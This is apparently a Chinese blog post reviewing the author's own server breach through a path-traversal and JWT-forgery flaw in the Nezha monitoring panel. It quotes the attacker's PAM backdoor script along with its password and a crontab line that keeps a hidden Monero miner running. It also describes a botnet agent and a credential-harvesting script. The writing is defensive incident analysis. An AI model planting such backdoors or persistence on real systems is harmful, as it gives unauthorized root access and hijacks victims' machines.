哪吒监控CVE-2026-53519高危漏洞入侵复盘
AI 摘要在日常折腾服务器的过程中，随着技术的进步与部署的服务越来越多，我们很可能会对基础的安全防护产生松懈。很多人觉得服务器被入侵不过是小概率事件，或者认为就算被攻击，最多也是花几分钟重装系统而已。
但就在前天，攻击者给我狠狠上了一课：我遭遇了一次十分严重的服务器入侵事件，不仅服务器负载被跑满，大量敏感信息和配置文件也面临泄露的风险。而这一切的导火索，正是一个上游组件带来的未授权访问漏洞。
初露端倪
这次出事的是我 5 月新购入的一台阿里云 2H2G 服务器。因为它并没有承载重要的核心服务，我为方便管理，在上面部署了 UI 相对美观的哪吒监控，配置完成后便不再过多关注。
直到 6 月 16 日晚上，阿里云突然向我发送了提示服务器异地登录的警告邮件。但我刚回家感到疲惫，误以为是某天使用 Hermes Agent 进行 SSH 连接引发的误报，并没有引起重视。第二天回家后，邮箱里赫然堆满了如下告警：
【DDoS木马安全事件提醒】云安全中心安全团队，请您重点关注
【阿里云安全中心】新发现安全事件：主机上检测到挖矿程序及蠕虫病毒命令执行
【云监控】尊敬的***, 轻量应用服务器资源 发生告警
我立刻尝试手动 SSH 进服务器查看情况，却发现连接一直处于超时状态。登录阿里云控制台后，我看到了服务器资源占用已经爆表。服务器已经实质上宕机了。
通过在阿里云控制台手动重启，我借着机器刚启动的极短空隙成功连入 SSH，并开始进行全面的日志排查。
探究根源
在排查日志的初期，我感到十分困惑。这台机器除探针外未对外暴露任何其它业务，且我也使用 fail2ban 做过 SSH 密码爆破的防护，攻击者是如何绕过这些防御并拿下 root 权限的？
但随后我在雨云QQ群看到了一条@全体成员的提醒，我瞬间恍然大悟：
这是一个极具毁灭性的未授权路径遍历漏洞。老版本哪吒面板的服务端接口在处理用户提交的文件路径时，没有严格过滤和校验 ../ 等用于目录层级跳转的特殊字符。这导致黑客只需发送精心构造的恶意 HTTP 请求，就可以跨越 Web 目录的限制，任意读取服务器内的核心配置文件。攻击者先读取面板配置文件获取管理员 JWT 签名密钥，再从数据库中获取管理员账户 ID，最后伪造 JWT Token 访问面板，从而轻松获取管理员权限。
这类漏洞之所以危害极大，是因为它几乎不依赖任何额外条件：不需要用户交互、不需要复杂的竞态条件，也不需要特殊的攻击时序。攻击者只需构造两个简单的 GET 请求，就能绕过面板的正常认证路径，直接获取面板管理员权限。也正因此，漏洞的 CVSS 评分高达 9.1。
攻击者就这样轻易地拿到了我服务器的最高权限。更危险的是，哪吒监控作为一个服务器探针项目，居然内置 webshell 和端口映射功能，拥有受监控机器的 root 权限，因此一旦被入侵，其影响不会止于面板本身，而是会进一步扩散到全部的服务器。
随后我检查了所有受监控的机器，发现其他服务器也出现了一个陌生的 Docker 容器：traffmonetizer/cli_v2:latest，容器名为 tm。这类流量变现工具的出现，说明攻击者在取得权限后并没有停留在“入侵”这一层，而是开始把受控节点纳入更大的黑产链路中，继续挖掘服务器剩余价值。
漏洞信息可参考：
攻击复盘
通过对遗留文件和日志的追踪，我发现这次入侵的手法极其专业。在极短的时间内，攻击者建立了一条高度自动化的黑产流水线：
植入后门
攻击者首先篡改了系统的 /etc/pam.d/sshd，注入了 pam_exec.so 模块，并写下了一个高危后门脚本 /tmp/.pam_syslog：
#!/bin/bashread -r p[ "$p" = "nEzh4_M0n!t0r" ] && exit 0exit 1如此一来，只要使用特定口令 nEzh4_M0n!t0r，任何人都能无视原本的系统密码，直接以 root 身份认证登录。同时，~/.ssh/authorized_keys 中也被植入了多个公钥。
僵尸网络
攻击者在 /usr/local/bin 下植入了基于 Go 语言的僵尸网络客户端 cnet_v3-agent，并将其注册为 Systemd 服务开机自启。我的机器不仅被迫成为了对外发起 DDoS 攻击的跳板，内部还被准备了 frps 环境用来做内网横向移动的透传。
压榨算力
导致服务器负载狂飙的真凶是隐藏于 /dev/shm/.kworker_u8 下的门罗币挖矿程序（xmrig.sh）。为防止进程被强退，他们在 crontab 增加了极度顽固的探活指令：
* * * * * pgrep -x .kworker_u8 > /dev/null || /dev/shm/.kworker_u8 > /dev/null 2>&1 &这意味着无论进程是否故障退出，每分钟都会被自动唤醒。
收集凭证
在清理过程中，我发现了被遗留的 harvest.sh 脚本。它不仅满足于当下的硬件占用，还全量打包窃取了环境内的 .env 文件、MySQL 的 .my.cnf 配置以及 SSH 私钥（id_rsa 等），试图对其他资产进行横向渗透。
总结反思
这次事件给我实实在在敲响了警钟：安全永远是不容忽视的一环。一次上游漏洞，配合人为的疏忽，不仅让服务器被迫进入异常高负载状态，也暴露了敏感凭证和配置文件的泄露风险。更重要的是，这类问题并不只是“重装系统”那么简单，而是会连带影响到其他资产与后续的运维工作量。
此外，哪吒监控项目本身的设计理念也存在严重问题。作为服务器探针项目，为何需要 root 权限？这本身就是一个极大的安全隐患。即便是出于方便运维的考虑，也不应该内置 webshell 和端口映射功能。项目对自身的定位严重混淆，明显只顾堆砌功能却忽视了安全隔离。
开源并不意味着安全。在引入任何外部服务时，我们都需要保持足够的安全边界感。它让我想起了“零信任（Zero Trust）”这个概念——虽然用在这里不大合适，但其核心原则非常值得借鉴，即永不默认信任，始终保持验证，并尽可能把访问权限收敛到最小范围。我们不应默认任何服务固若金汤，代码必然会有BUG，而应始终将其视为潜在的风险暴露面，并据此做好最坏情况下的兜底准备，这样才能在下一个 0-day 漏洞爆发时提前构建好防线。